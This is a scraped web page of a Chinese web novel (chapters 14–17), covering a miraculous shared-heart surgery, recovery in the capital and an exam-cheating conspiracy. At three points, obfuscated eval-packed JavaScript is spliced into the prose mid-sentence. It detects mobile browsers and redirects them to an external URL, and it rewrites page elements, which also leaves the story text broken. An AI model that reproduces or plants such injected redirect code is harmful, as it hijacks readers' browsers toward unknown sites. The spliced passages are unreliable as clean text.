“注入‘续命汤’。” 特制的药液通过银针缓缓注入心脏。片刻后，那颗移植的心脏忽然轻微地颤动了一下—— 然后，开始跳动。 一开始很微弱，像初生婴儿的第一声啼哭，细弱却顽强。渐渐地，跳动变得有力、规律，将新鲜的血液泵向江清砚全身。 苍白的脸上，渐渐有了血色。 薛大夫又转向谢云辞的胸腔。那里空荡荡的，只剩下几根断掉的血管。他将江清砚那颗残破的心脏放进去——不是要移植，而是作为一种“媒介”。 “同生共死之术，关键在于两心相连。”薛大夫一边缝合，一边对助手讲解，“需将两颗心脏的部分组织融合，建立血脉相通。如此，生机才能共享。” 他将两颗心脏的残存组织小心对接，用特制的药膏涂抹，再用羊肠线缝合。那药膏呈暗金色，据说是用数十种珍稀药材炼制而成，有促进组织生长融合的神效。 当最后一线缝合完成时，异象发生了—— 两颗心脏，明明隔着两个人的胸膛，却开始同步跳动！ 咚、咚、咚…… 节奏完全一致，仿佛是同一个人体内的心脏。 而随着心脏的同步搏动，江清砚和谢云辞的呼吸也开始同步，胸口起伏的频率一模一样。 “成了。”薛大夫终于露出一丝疲惫的笑容，“同生共死，血脉相连。从此，他们便是真正的……同命人了。” 他示意助手缝合两人的胸腔切口。自己则走到一旁的水盆边，慢慢洗手，洗去满手的血迹。 净室的门被轻轻推开。 李尚书站在门外，没有进来，只是静静看着里面的一切。当他看到两张床上的人胸口都已缝合，呼吸平稳同步时，眼中闪过复杂的神色。 “薛大夫，辛苦了。”他低声道。 “分内之事。”薛大夫擦干手，“接下来三天是关键期。他们需要绝对静养，不能移动，不能受刺激。尤其是江清砚——他身体太弱，虽然换了心，但能否适应还是未知数。” “需要什么药材、器械，尽管开口，刑部全力支持。” 薛大夫点点头，又道:“还有一事——手术虽成，但毕竟逆天改命。从今往后，他们每月月圆之夜必会心脉逆冲，痛苦难当。且两人性命相连，一荣俱荣，一损俱损。此事……还望尚书大人保密。” 李尚书沉默片刻，缓缓道:“本官明白。此事只有这屋里的人知道，不会外传。” 他顿了顿，看向床上两人:“他们何时能醒？” “最快明日，慢则三五日。”薛大夫道，“假死药的药效需要时间消退，且身体需要适应新的心脏。” 李尚书不再多问，转身离开。脚步声渐远。 净室里重归寂静。 两个助手开始收拾器械，动作轻手轻脚。薛大夫则坐在一旁的椅子上闭目养神，他年事已高，这般大手术耗神极大。 烛火摇曳，将床上两人的影子投在墙上，时而交叠，时而分开。 谢云辞醒来时，最先感受到的是痛。 胸口像是被撕裂后又粗糙地缝合，每一次呼吸都牵扯着剧痛。他艰难地睁开眼，视线模糊，只能看到头顶青灰色的帐幔。 这是……哪里？ 记忆如潮水般涌来:刑部正堂，江清砚倒下，假死药，手术…… 江清砚！ 他猛地想坐起，却牵动伤口，闷哼一声又跌回床上。 “别动。”一个苍老的声音响起，是薛大夫。 谢云辞艰难地转头，看到薛大夫正坐在窗边的椅子上，就着晨光翻阅一本医书。窗外鸟鸣清脆，已是次日清晨。 “他……怎样？”谢云辞声音嘶哑，每个字都像砂纸磨过喉咙。 薛大夫放下书，走过来查看他的伤口:“手术很成功。你们现在共用一颗心，他的命保住了，你的也还在。” 共用一颗心。 谢云辞下意识地按住自己的胸口——那里，心跳有力而规律。但他能感觉到，这心跳有些不同，仿佛……还有另一个频率在深处共鸣。 他转过头，看向旁边那张床。 江清砚静静躺着，脸色依旧苍白，但已不是死气沉沉的灰白，而是有了些微的血色。他的呼吸平稳绵长，胸口随着呼吸轻轻起伏。 还活着。 谢云辞闭上眼，长长地、无声地松了一口气。 “你感觉如何？”薛大夫问。 “痛。”谢云辞如实道，“胸口像被撕开过。” “正常。毕竟是开胸手术。”薛大夫给他把了脉，点头，“恢复得不错。但记住，三个月内不能动武，不能剧烈活动。你们的命现在连在一起，你若有恙，他也会受影响。” 谢云辞点头，又问:“他什么时候能醒？” “快了。”薛大夫看了看江清砚，“他的身体在适应新的心脏，需要时间。也许今日，也许明日。” 正说着，床上的人忽然睫毛颤了颤。 谢云辞呼吸一滞。 江清砚缓缓睁开眼。眼神先是迷茫，聚焦，然后看到了谢云辞。 四目相对。 那一瞬间，谢云辞看到江清砚眼中闪过无数情绪:困惑、茫然、惊愕，最后是……了然的悲伤。 他知道了。 他知道谢云辞为他做了什么。 “你……”江清砚开口，声音虚弱得像叹息，“何苦……” 谢云辞却笑了。那笑意很浅，却发自真心。 “我说过，要护你到京城。”他轻声道，“我做到了。” 江清砚闭上眼睛，一滴泪从眼角滑落，没入鬓发。 薛大夫识趣地退出净室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿，声音微沉:“第二……关于你们二人。同生共死之事，本官已下令保密，只有少数几人知晓。但你们毕竟身份特殊，一个是要参加会试的举子，一个是六扇门总捕头。如今性命相连，日后行事，需更加谨慎。” 江清砚和谢云辞对视一眼，都明白李尚书的意思。 科举、仕途、公务……他们未来的路，注定要比常人艰难得多。 “学生明白。”江清砚轻声道。 “下官明白。”谢云辞亦道。 李尚书看着他们，忽然从袖中取出一枚令牌，放在江清砚枕边。 那是一枚玄铁令牌，正面刻“六扇门总捕”，背面是一个篆体的“谢”字。 正是谢云辞那枚。 “此令在京中还有些用处。”李尚书看着江清砚，“你身体尚未恢复，科举在即，难免有人趁机生事。持此令，可挡些麻烦。” 江清砚怔住:“这……” “收着吧。”谢云辞开口，“李尚书说得对，你现在需要这个。” 江清砚看着那枚沉甸甸的令牌，又看向谢云辞，最终轻轻点头:“多谢尚书大人，多谢……谢兄。” 李尚书站起身:“你们好生休养。三日后若恢复得好，江清砚可回客栈准备科举；谢云辞暂留刑部，协助查案。” 他顿了顿，又道:“记住，你们的命现在连在一起。凡事……三思而后行。” 说罢，他转身离开。 净室里又只剩下两人。 江清砚拿起那枚令牌，在手中摩挲。玄铁冰凉，却仿佛还带着谢云辞的体温。 “持此令，京城无人敢轻易动你。” 那日破庙分别时，谢云辞的话犹在耳边。 如今，这枚令牌真的到了他手里。 而他们，也真的成了同命相连的人。 “谢云辞。”江清砚忽然叫他的名字。 “嗯？” “等此案了结，等科举结束……”江清砚看向他，目光清澈而坚定，“我们一起去查你家的旧案。你的仇，我帮你报。” 谢云辞怔住了。 他看着江清砚苍白却认真的脸，胸中那颗共同的心脏，忽然跳动得快了一拍。 “好。”许久，他听见自己说，“一言为定。” 窗外，晨光正好。 而属于他们的路，才刚刚开始。 15. 第 15 章 第十五章京城在望 三日后，刑部后门。 一辆不起眼的青篷马车停在角门外，车夫是个穿着粗布衣裳的精壮汉子，眼神锐利，腰背挺直——那是刑部特意安排的护卫，扮作车夫模样。 薛大夫将最后两瓶药塞进江清砚手里:“白瓶内服，早晚各一粒，固本培元。青瓶外敷，伤口若痛可涂抹少许，但不可过量。” 他顿了顿，看着江清砚依旧苍白的脸，还是忍不住叮嘱:“切记，三个月内不可劳累，不可动气。你的身体虽然换了心，但底子太弱，需要时间慢慢调理。尤其月圆之夜……若心脉逆冲发作，立刻服下这粒药。” 他又取出一枚赤色药丸，用油纸仔细包好，递给江清砚。药丸只有指甲盖大小，却散发着浓烈刺鼻的气味，显然不是凡品。 江清砚接过药瓶和药丸，深深一揖:“薛大夫救命之恩，学生没齿难忘。” 薛大夫摆摆手:“行了，走吧。记住按时服药，按时回来复诊。” 江清砚点头，在谢云辞的搀扶下上了马车。他的动作还有些迟缓，胸口缝合处虽已愈合大半，但每一次牵动仍会传来隐痛。 谢云辞随后上车，在他对面坐下。两人都换了寻常布衣，江清砚是一身半旧的月白直裰，谢云辞则是靛青短打，看起来就像两个结伴赶考的书生和护卫。 马车缓缓驶动，车轮碾过青石板路，发出单调的轱辘声。 江清砚撩开车窗帘一角，看向窗外。这是他来京城后，第一次真正看清这座城市的模样。 街道比润州宽阔数倍，两旁店铺鳞次栉比，酒旗招展。行人如织，车马如龙，叫卖声、谈笑声、马蹄声、车轮声……各种声音交织在一起，汇成京城独有的繁华喧嚣。 空气里弥漫着复杂的气味:早点摊子的油香、胭脂铺的甜香、药材店的苦香，还有街边污水沟隐约的腐臭——这就是京城，光鲜与污浊并存，繁华与危机共生。 马车转过一个街角，前方豁然开朗——那是京城的主干道，朱雀大街。街道尽头，巍峨的皇城城墙遥遥在望，琉璃瓦在晨光下泛着金芒。 江清砚望着那一片金碧辉煌，忽然觉得胸口那颗心脏跳动得快了些。 那不是他的紧张，是谢云辞的。 他抬眼看向对面。谢云辞也正望着皇城方向，眼神复杂，有敬畏，有向往，还有……深藏眼底的恨意。 “谢家旧案……”江清砚轻声开口，“仇家就在那里面？” 谢云辞收回目光，沉默片刻，点了点头。 “家父曾是兵部侍郎。”他缓缓道，声音平静得像在说别人的事，“六年前，北疆战事吃紧，家父负责粮草调度。有人诬陷他贪污军饷、私通敌国，圣上下旨查办。一夜之间，谢府被抄，家父被押入天牢，三日后……死于狱中。” 他顿了顿，指尖无意识地摩挲着袖口:“家母当夜悬梁自尽。阿姐……带着我逃出府，却在城外被追兵赶上。她将我藏进枯井，自己引开追兵……再也没回来。” 马车里一片死寂。 只有车轮碾过石板的声音，单调而沉重。 江清砚看着他紧抿的唇，看着他眼中极力压抑的痛苦，忽然明白了——为什么这个少年年纪轻轻就满手血腥，为什么他对自己那么狠，为什么他能在茶棚那场厮杀中眼睛都不眨。 因为他的世界，早就被血洗过一遍了。 “你阿姐……”江清砚轻声问，“她还活着吗？” 谢云辞摇头，从怀中取出那枚褪色的平安扣，握在掌心:“我只找到这个。在追兵丢弃的杂物里。” 铜扣冰凉，边缘已被摩挲得光滑。那是他在这世上，仅存的与家人的联系。 江清砚看着那枚平安扣，忽然伸手，轻轻覆在谢云辞的手上。 “我帮你。”他说，声音不大，却异常坚定，“等科举结束，等水鬼帮的案子了结，我们就去查。无论仇家是谁，无论他在哪里……我们一起，把他揪出来。” 谢云辞抬眼看他。 晨光透过车帘缝隙，在江清砚脸上投下斑驳光影。那张脸依旧苍白清瘦，眼神却清澈明亮，像深潭映着天光。 他忽然想起破庙初遇那夜，也是这样一双眼睛，干净得让人自惭形秽。 “好。”谢云辞听见自己说，“我们一起。” 马车驶过朱雀大街，转入一条稍窄的街道。这里是京城的“文曲街”，街道两旁多是客栈、书肆、文房铺子，往来行人多是书生打扮，空气中飘着墨香和纸张特有的气味。 “悦来客栈”就在街中段，是家老字号，门面不大，却收拾得干净。刑部提前打点过，掌柜的见马车停下，立刻迎了出来。 “可是江公子和谢公子？”掌柜约莫五十来岁，一脸和气，“房间已经备好了，二楼最里间的雅室，清静，适合读书。” 谢云辞扶着江清砚下车，冲掌柜点了点头:“有劳。” 两人跟着掌柜进了客栈。大堂里坐着几个书生，正在喝茶闲谈，见他们进来，都好奇地打量——尤其是看到谢云辞腰间那柄匕首时，眼神更添几分探究。 掌柜引他们上了二楼。雅室在最里间，果然清静，窗外是个小庭院，栽着几丛翠竹。房间不大，但整洁，两张床铺，一张书桌，还有个小小的暖炉。 “二位先歇着，饭菜一会儿送来。”掌柜殷勤道，“有什么需要，尽管吩咐。” 谢云辞道了谢，等掌柜离开后，关上门，仔细检查了一遍房间——门窗结实，墙壁无暗格，床铺干净。他这才稍稍放心。 江清砚在床边坐下，胸口又传来隐痛。他取出薛大夫给的药，服下一粒，闭目调息片刻，才觉得好些。 “你的伤……”他看向谢云辞。 “无碍。”谢云辞解开衣襟，露出胸口那道已经结痂的伤疤——缝合的痕迹还在，像一条蜈蚣爬在胸膛上，“薛大夫的药很好，愈合得很快。” 江清砚看着他胸口的伤疤，又摸了摸自己胸口同样的位置——那里也有一条疤，只是被衣襟遮住了。 同生共死。 他们身上，永远留下了彼此的印记。 敲门声响起，是小二送饭菜来了。简单的三菜一汤，都是清淡滋补的菜色，显然是特意吩咐过的。 两人默默吃饭。江清砚吃得很少，几口就饱了；谢云辞则风卷残云，很快将饭菜扫荡一空——他身体底子好，恢复得快，食欲也恢复得快。 饭后，江清砚走到书桌前，从行李中取出书卷。离会试只剩不到一个月，他必须抓紧时间温习。 谢云辞则坐在窗边，擦拭那柄匕首。刀身在晨光下泛着幽蓝的光，这是他用了多年的兵器，刀柄上甚至留下了他指节的凹痕。 房间里一时只有翻书声和擦刀的轻响，竟有种奇异的和谐。 忽然，窗外传来一阵喧哗。 江清砚抬起头，见谢云辞已走到窗边，撩起帘子一角向外看去。 街道上，一队官差正押着几个人走过。那几个被押的人衣衫褴褛，戴着枷锁，神情麻木。看衣着，像是运河上的漕工。 “听说没？水鬼帮被端了！”楼下传来书生的议论声。 “真的假的？不是说那帮人神出鬼没，官府抓了几年都没抓到吗？” “千真万确！我舅舅在刑部当差，说是蓟州那边破了案，抓了好几十号人，连京城这边都牵扯进去了！” “啧啧，这案子可不小啊……” 江清砚和谢云辞对视一眼。 刑部的动作比预想的快。 “看来李尚书已经开始收网了。”谢云辞低声道。 江清砚点头，却又蹙起眉:“但观澜书院和都水司那边……” “急不得。”谢云辞放下帘子，“那些都是树大根深，没有铁证，动不了。李尚书是聪明人，知道什么时候该快，什么时候该慢。” 他说着，看向江清砚:“你现在要做的，是安心备考。水鬼帮的案子，有我盯着。” 江清砚看着他，忽然笑了:“你现在可是和我命连在一起，若我考不上，你也要跟着我回乡种地。” 谢云辞一愣，随即也笑了:“那也不错。总比在六扇门刀头舔血强。” 这话说得轻松，两人却都知道是玩笑。谢云辞的仇还没报，江清砚的科举路也才刚刚开始，他们注定要在京城这片漩涡里，继续挣扎前行。 接下来的日子，过得平静而规律。 江清砚每日读书、温习，累了就闭目养神。谢云辞则早出晚归，说是去“访友”，实则是去刑部打探消息，协助查案。 两人同住一室，却默契地保持着距离——江清砚睡里侧的床，谢云辞睡外侧；江清砚读书时，谢云辞就坐在窗边，或是擦拭兵器，或是闭目养神；吃饭时一起，却很少交谈。 但江清砚能感觉到，谢云辞始终在注意着他的状况。夜里他若咳嗽，谢云辞会立刻醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863491|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来；他若读书太久，谢云辞会提醒他休息；甚至他心脉稍有不适，谢云辞那边也会有感应——因为他们的心跳是同步的。 这诡异的联结，让他们在沉默中，建立了一种更深层的默契。 七日后，谢云辞带回一个消息。 “观澜书院的山长，柳文渊，告病了。”他关上门，低声道，“说是感染风寒，闭门谢客。但据刑部暗探回报，柳府这几日进出的，多是都水司的官员。” 江清砚放下书:“他们在串供？” “恐怕是。”谢云辞在桌边坐下，“水鬼帮几个小头目招供，说确实往观澜书院送过‘文货’，但咬死是底下人私自做主，与书院无关。都水司那边更干净，所有账目都做得天衣无缝，暂时抓不到把柄。” “那药庐呢？” “药庐的主事人跑了。”谢云辞冷笑，“留下一座空宅子，所有证据都被销毁。但我们在密室里发现了一样东西——” 他从怀中取出一个小布包，打开，里面是几枚铜钱。不是普通的铜钱，而是特制的，边缘有细密的锯齿，中间穿孔，系着褪色的红绳。 “这是……”江清砚拿起一枚细看。 “水鬼帮用来联络的信物。”谢云辞道，“我们在药庐密室的暗格里找到的，藏在墙砖后面，没来得及销毁。一共有七枚，对应七个联络点。” 他指着铜钱边缘的锯齿:“齿数不同，代表不同的联络点。我们对照了缴获的账本，已经锁定了其中三个——一个在京城西市，一个在城南码头，还有一个……” 他顿了顿，看向江清砚:“在贡院附近。” 江清砚心头一跳。 贡院，科举考场。 水鬼帮在贡院附近有联络点，这意味着什么？ “他们……还想在科举上动手脚？”他声音发紧。 “恐怕是。”谢云辞收起铜钱，“但具体要做什么，还不知道。李尚书已经派人暗中监控那个联络点，希望能钓出大鱼。” 江清砚沉默良久，忽然道:“谢兄，我有个想法。” “说。” “既然他们要动手，不如……将计就计。” 谢云辞抬眼看他。 江清砚的眼神清亮而冷静，像深冬的湖水，表面平静，底下却有暗流涌动。 “他们若真要在科举上做文章，必定会找机会接触考生。而我，”他顿了顿，“是揭了水鬼帮老巢的人，又是赶考举子，对他们来说，既是眼中钉，也是……最好的棋子。” 谢云辞脸色骤变:“你想以身作饵？！” “不是饵，是引子。”江清砚平静道，“我会按部就班准备科举，该读书读书，该赴考赴考。他们若真敢动手，必然会露出马脚。到时候，你们就能抓现行。” “太危险了！”谢云辞站起身，“你现在什么身体状况自己不清楚吗？若是考场上有变故，你——” “我有你。”江清砚打断他，看着他，“你说过，要护我到京城。现在到了京城，这承诺……还作数吗？” 谢云辞愣住了。 他看着江清砚苍白却坚定的脸，胸中那颗共同的心脏，忽然剧烈地跳动起来。 同生共死。 是啊，他们已经同生共死了。江清砚若有危险，他也逃不掉。 既然如此……不如主动出击。 “你……”谢云辞咬牙，“真是疯了。” “读书人，总要有些明知山有虎的勇气。”江清砚轻轻笑了笑，“况且，这是我唯一能做的事——揭开水鬼帮的盖子，是我开的头。那么，就该由我来收尾。” 窗外，暮色四合。 京城的万家灯火次第亮起，将这座古老的城市笼罩在温暖的光晕里。 但光明之下，暗流依旧汹涌。 谢云辞看着江清砚，许久，终于缓缓点了点头。 “好。”他说，“我陪你。” 一字千钧。 江清砚笑了，那笑意很浅，却直达眼底。 他转过身，重新拿起书卷，就着昏黄的烛光，继续温习。 窗外，更夫敲响了梆子。 一更天了。 离会试，还有二十天。 而一场隐藏在科举背后的风暴，正在悄然酝酿。 他们不知道前方是什么，但既然选择了同行，便只能往前走。 京城在望。 而他们的路，才刚刚开始。 16. 第 16 章 第十六章客栈风波 京城连下了三日雨，到了第四日终于放晴。 文曲街的石板路被雨水洗得发亮，空气中弥漫着潮湿的泥土气和隐约的花香——街角那棵老槐树开花了，细碎的白花缀满枝头，风一吹，便簌簌落下，铺了半条街。 悦来客栈里，江清砚正在温习《礼记》。他坐在窗边的书桌前，面前摊开着厚厚的典籍，手中握着一支狼毫小楷，不时在旁边的宣纸上批注几句。晨光透过窗纸，在他苍白的侧脸上镀了一层淡金，长睫低垂，神情专注得仿佛周遭一切都与他无关。 谢云辞坐在他对面，面前也摊着一本书——不是经史子集，而是《大周刑律》。这是他从六扇门借来的，书页泛黄，边角翻卷，显然经常被翻阅。他看得很快，偶尔停在一页上，眉头微蹙，手指在某个条目上轻轻敲击，像是在记忆什么。 两人就这么安静地对坐着，只有翻书声和笔尖划过纸面的沙沙声。 忽然，楼梯上传来杂沓的脚步声，还有少年人特有的、张扬的笑闹声。 “李兄，这悦来客栈看着不怎么样，不如换去同福楼？我家在那边有常包房。”一个清亮的声音说道，带着江南口音特有的软糯。 “王贤弟客气了，此处清净，正适合读书。”另一个声音温文尔雅，“况且……听说这客栈里住了位有趣的同窗。” 脚步声在二楼停下，随即响起叩门声。 “请问，江清砚江公子可是住在此处？” 江清砚笔尖一顿，抬起头。谢云辞已放下书，走到门边，却没有立刻开门。 “何事？”他隔着门问，声音冷淡。 门外沉默了一瞬，随即那温文的声音再次响起:“在下李慕言，苏州人士，与江公子曾有一面之缘。听闻他也住在此处，特来拜访。” 李慕言？ 江清砚想起来了——老君洞里那个被救的苏州才子。他竟也到了京城，还找到了这里。 谢云辞回头看他，眼中带着询问。江清砚轻轻点头。 门开了。 门外站着两个少年，俱是锦衣华服，气质不凡。前面一人约莫十七八岁，面容清秀，眉眼温润，正是李慕言。他身后那人略小一些，圆脸大眼，一副活泼模样，应该就是刚才说话的“王贤弟”。 李慕言看到开门的谢云辞，先是一怔，随即目光越过他，看到了窗边的江清砚。他眼睛一亮，快步上前，深深一揖:“江兄，果真是你！” 江清砚放下笔，起身还礼:“李兄，别来无恙？” “托福，托福。”李慕言直起身，眼圈却微微泛红，“若非江兄和谢兄相救，慕言早已葬身那暗无天日的洞穴。此恩此德，没齿难忘。” 他身后的少年也跟了进来，好奇地打量着江清砚和谢云辞，目光尤其在谢云辞腰间的匕首上多停留了一瞬。 “这位是？”江清砚看向那少年。 “哦，这位是王璞，金陵人士，与慕言同船北上，如今也住在悦来客栈。”李慕言介绍道，“王贤弟，这位就是我对你说的江清砚江兄，那位是谢云辞谢兄。” 王璞上前，抱了抱拳，笑嘻嘻道:“久仰久仰。李兄一路都在说二位的事迹，听得我心向往之。今日一见，果然气度不凡。” 他说得热闹，江清砚却只是淡淡一笑:“王公子过奖。二位请坐。” 四人重新落座。李慕言这才注意到书桌上的《礼记》和江清砚手边的批注，惊讶道:“江兄还在温书？离会试只剩半月有余，该放松些了。” “笨鸟先飞罢了。”江清砚随口道，“倒是李兄，恢复得如何？” “已无大碍。”李慕言轻叹一声，“只是夜里偶尔还会梦见那些……不提也罢。倒是江兄，你身体似乎……” 他说着，目光落在江清砚依旧苍白的脸上，又看了看他手边那个装药的玉瓶，眼中露出担忧。 “老毛病，不碍事。”江清砚岔开话题，“李兄和王公子此来京城，也是赴考？” “正是。”王璞抢着答道，“我和李兄都报了今科会试。不过嘛——”他眨眨眼，压低声音，“我们还有件重要的事要做。” “哦？” 李慕言接过话头，神色变得严肃:“江兄可知，京城这几日，出了件怪事？” 江清砚与谢云辞对视一眼:“愿闻其详。” “京城里接连有三家书肆被窃。”李慕言道，“被偷的不是金银，也不是孤本典籍，而是……考生的文集和模拟试题。” 江清砚心中一动。 “更奇怪的是，”李慕言继续说，“这几家书肆被盗的时间，都在夜里。守卫森严，却无一人察觉。现场只留下一枚铜钱——” 他从袖中取出一枚铜钱，放在桌上。 铜钱边缘有细密的锯齿，中间穿孔，系着褪色的红绳。 和谢云辞从药庐带回来的，一模一样。 谢云辞眼神骤然锐利。他拿起那枚铜钱仔细查看——齿数是十七，与药庐那七枚都不同。 “这铜钱，李兄从何处得来？”他沉声问。 “是‘墨香斋’的掌柜给我的。”李慕言道，“墨香斋是第三家被盗的书肆。掌柜的说，这铜钱就放在失窃的书架上，像是……故意留下的。” “故意留下？”江清砚蹙眉，“为何？” “挑衅。”谢云辞冷冷道，“或者说，标记。” 标记什么？ 标记他们的目标？ 江清砚忽然想起谢云辞之前的话——水鬼帮在贡院附近有联络点。而书肆被盗的文集和试题，都与科举相关…… “李兄可知道，被盗的都是哪些文集？”他问。 李慕言从怀中取出一张纸，展开:“我让掌柜的列了清单。你看——” 纸上列着十几本书名:《江南三杰文集》《北地才子策论》《会试十年真题详解》……都是市面上热销的科举参考书。 但江清砚注意到，这些书的作者，大多是江南、江北有名望的举子，其中几位……他依稀记得，似乎也在水鬼帮的账本上出现过。 “这些书的作者，”他指着清单，“李兄可都认识？” 李慕言仔细看了看，摇头:“只认识两三位，都是江南有名的才子。其他的……不甚了解。” “那他们现在何处？” “这就不知道了。”李慕言道，“不过我听说，其中几位今年也报了会试，应该都在京城。” 江清砚沉默片刻，忽然问:“李兄和王公子此来，就是为了查此事？” “正是。”王璞又抢着道，“我和李兄觉得此事蹊跷，恐怕与科举有关。我们都是读书人，自然不能坐视不理。” 他说得义正词严，江清砚却从他眼中看出一丝兴奋——那是少年人对冒险的向往。 “二位勇气可嘉。”江清砚轻声道，“但此事恐有凶险，还是……” 话未说完，楼梯上又传来脚步声，这次更杂乱，还夹杂着粗鲁的呼喝声。 “就是这里？那个病秧子住这儿？” “错不了，二楼最里间。掌柜的说，还带了个带刀的家伙，看着就不像好人。” 脚步声在门外停住，“砰”的一声，门被粗暴地踢开了。 门外站着三个锦衣公子，个个面色不善。为首的是个二十出头的青年，身形微胖，穿着宝蓝色织锦袍，腰间挂着一块羊脂玉佩，脸上带着傲慢的神色。他身后两人一高一矮，也都是富家公子打扮，眼神轻蔑地扫视着屋内。 “你们是谁？”谢云辞缓缓站起身，手已按在腰间匕首上。 蓝衣公子看也不看他，目光直接落在江清砚身上，上下打量一番，嗤笑一声:“你就是江清砚？那个从蓟州来的病秧子？” 江清砚面色不变:“正是在下。阁下是？” “本公子姓赵，单名一个‘炎’字。”蓝衣公子昂着头，“家父是吏部侍郎赵文远。听说你揭了水鬼帮的案子，很出风头啊？” 这话说得阴阳怪气，李慕言和王璞脸色都变了。赵炎的父亲是吏部侍郎，正三品大员，在京城是实权人物。这样的官宦子弟，他们得罪不起。 江清砚却只是淡淡一笑:“赵公子过奖。学生只是恰逢其会，不敢居功。” “恰逢其会？”赵炎冷笑，“我看是哗众取宠吧？一个病秧子，还能破案？别是编出来博名声的？” 他身后的高个子公子附和道:“就是！赵兄说得对！这种乡下来的穷酸，最会耍这种手段。还带个带刀的护卫，装得跟什么似的。” 矮个子也嗤笑:“说不定那案子就是他自导自演的呢？为了在科举前造势，真是用心良苦啊。” 这话已经不只是挑衅，而是赤裸裸的污蔑了。 李慕言气得脸色发白，正要开口，却被王璞拉住了——王璞冲他使了个眼色，轻轻摇头。 谢云辞的手已经握住了匕首柄。他眼神冷得像冰，盯着赵炎三人，只要他们再敢多说一句…… “赵公子。” 江清砚忽然开口，声音依旧平静，却带着一种不容置疑的力度。 “学生是否哗众取宠，自有公论。倒是赵公子——您今日登门，若只是来说这些闲话，那恕学生不奉陪了。学生还要温书，准备会试。” 他顿了顿，抬起眼，目光清亮地看着赵炎:“毕竟，科举场上，凭的是真才实学，不是家世背景。” 这话说得不卑不亢，却字字诛心。 赵炎脸色瞬间涨红。他本是想来给这个出风头的乡下小子一个下马威，却没想到对方如此镇定，还反过来暗讽他靠家世。 “你……”他指着江清砚，气得发抖，“好一个牙尖嘴利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“齿数不同，但制式一样。”他轻声道，“红绳的系法也相同——是‘同心结’的变种，江湖上某些帮派用来传递暗号。” 他抬起头，看向谢云辞:“谢兄，六扇门可有关于这种铜钱的记录？” 谢云辞沉思片刻，摇头:“没有。但可以查。” “那就麻烦谢兄了。”江清砚将铜钱还给了慕言，“李兄，这铜钱你收好。书肆失窃的事，我会留意。但你们……暂时不要轻举妄动。” 李慕言点头，犹豫片刻，又道:“江兄，还有一事……我听说，赵炎最近常去‘春风阁’。” 春风阁，京城有名的青楼，也是达官显贵、文人墨客常去的地方。 “他去青楼，与我何干？”江清砚不解。 “不是……”李慕言压低声音，“我有个同乡在春风阁当差，他说……赵炎最近在那里，常和一些书生模样的人密谈。谈的内容，似乎与……科举有关。” 江清砚眼神一凝。 科举。 又是科举。 水鬼帮、书肆失窃、赵炎、春风阁…… 这些看似无关的线索，像一张网，正渐渐收拢。 而网的中心，似乎就是即将到来的会试。 “李兄，”江清砚缓缓道，“你那同乡，可能打听到更多？” “我可以试试。”李慕言道，“但他胆子小，不一定敢多说。” “无妨，尽力就好。”江清砚顿了顿，“但切记，安全第一。若察觉危险，立刻停手。” 李慕言郑重地点头。 又闲聊了几句，李慕言和王璞便告辞离开了。 房间里重归寂静。 谢云辞走到窗边，看着楼下街道——赵炎三人早已不见踪影，只有行人来来往往，一派太平景象。 “赵文远……”他喃喃道，“吏部侍郎……” 江清砚也走到窗边，与他并肩而立。 “谢兄觉得，赵炎今日是巧合，还是……有人指使？” “不像巧合。”谢云辞摇头，“他知道你揭了水鬼帮的案子，显然是有人告诉他的。而且来得这么巧，正好在李慕言提到书肆失窃之后。” 他顿了顿，眼神更冷:“恐怕，是有人想试探你。” “试探我什么？” “试探你知道多少，试探你会不会插手书肆的案子，试探你……”谢云辞转头看他，“会不会成为他们计划里的变数。” 江清砚沉默良久，忽然轻轻笑了。 “那他们可能要失望了。”他轻声道，“我这人，最不喜欢按别人的计划走。” 窗外，阳光正好。 老槐树的花瓣随风飘落，像细碎的雪。 而暗流，已在平静的表象下，悄然涌动。 17. 第 17 章 第十七章雅间叙旧 赵炎三人走后，悦来客栈重归平静。掌柜的闻声上楼，见房门完好，江清砚和谢云辞也安然无恙，这才松了口气，连声道歉，说是没拦住那几位公子。 江清砚温言安抚了几句，掌柜的千恩万谢地下去了。房门重新关上，谢云辞走到窗边，撩起帘子一角，看着楼下街道——赵炎三人早已不见踪影，但街角多了两个蹲在路边的小贩，目光却时不时瞟向客栈方向。 “尾巴。”谢云辞低声道，“赵炎留的。” 江清砚也走到窗边，只瞥了一眼就收回目光:“无妨，让他们盯着。我们越若无其事，他们越摸不清底细。” 他重新坐回书桌前，拿起笔继续批注《礼记》，神情专注，仿佛刚才那场风波从未发生。 谢云辞看了他片刻，也坐回原位，拿起那本《大周刑律》。两人又恢复了对坐读书的状态，房间里只有笔尖划纸的沙沙声。 午时刚过，楼梯上又传来脚步声。 这次的脚步声很轻，很稳，只有一个人。脚步声停在门外，叩门声响起——三声，不疾不徐。 谢云辞放下书，起身开门。 门外站着一个中年文士，青衫布履，面容清癯，正是刑部尚书李崇明。他换了便服，看起来像个普通的教书先生，只是眼神锐利依旧。 “李大人。”谢云辞侧身让开。 李崇明点点头，走进房间，目光扫过书桌上的典籍和江清砚苍白的脸，微微皱眉:“身体可好些了？” 江清砚放下笔，起身行礼:“学生无碍，多谢大人关心。” 